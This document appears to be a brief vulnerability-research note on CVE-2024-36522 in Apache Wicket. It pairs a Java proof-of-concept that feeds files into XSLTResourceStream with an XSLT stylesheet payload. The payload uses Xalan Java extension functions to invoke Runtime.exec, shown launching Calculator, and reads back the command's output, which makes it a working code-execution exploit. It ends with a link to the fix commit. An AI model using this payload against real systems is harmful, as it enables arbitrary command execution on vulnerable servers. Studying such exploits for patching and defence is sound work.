CVE-2024-36522 猜想

package org.apache.wicket;import org.apache.wicket.util.file.File;import org.apache.wicket.util.resource.FileResourceStream;import org.apache.wicket.util.resource.IResourceStream;import org.apache.wicket.util.resource.XSLTResourceStream;/** * Hello world! * */public class App {    public static void main( String[] args ){//        IResourceStream resourceStream=new FileResourceStream(new File("/Users/msfcode/Projects/wicket/testModule/src/main/java/dtd1.xml"));        IResourceStream resourceStream=new FileResourceStream(new File("/Users/msfcode/Projects/wicket/testModule/src/main/java/test.xml"));//        IResourceStream xmlresourceStream=new FileResourceStream(new File("/Users/msfcode/Projects/wicket/testModule/src/main/java/dtd1.xml"));        IResourceStream xmlresourceStream=new FileResourceStream(new File("/Users/msfcode/Projects/wicket/testModule/src/main/java/test.xml"));        XSLTResourceStream stream = new XSLTResourceStream(resourceStream,xmlresourceStream);    }}// test.xml 参考:https://www.kingkk.com/2020/01/%E4%BB%8E%E6%BA%90%E7%A0%81%E5%B1%82%E9%9D%A2%E7%9C%8BXXE%E7%9A%84%E9%98%B2%E5%BE%A1/<?xml version="1.0" encoding="ISO-8859-1" ?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">    <xsl:template match="CClienti">        <CClienti label="{{0}} Trasformato">            <xsl:variable name="abcd" select="Runtime:exec(Runtime:getRuntime(),'open -a Calculator')" xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/>            <xsl:variable name="efgh" select="jv:getInputStream($abcd)" xmlns:jv="http://xml.apache.org/xalan/java"/>            <xsl:variable name="ijkl" select="isr:new($efgh)" xmlns:isr="http://xml.apache.org/xalan/java/java.io.InputStreamReader"/>            <xsl:variable name="mnop" select="br:new($ijkl)" xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader"/>            <xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>            <xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>        </CClienti>    </xsl:template>    <xsl:template match="@*|node()">        <xsl:copy>            <xsl:apply-templates select="@*|node()"/>        </xsl:copy>    </xsl:template></xsl:stylesheet>

https://github.com/apache/wicket/commit/bc7dcc3f5bfbb3a41ab407d53ba5e0af3d3453a0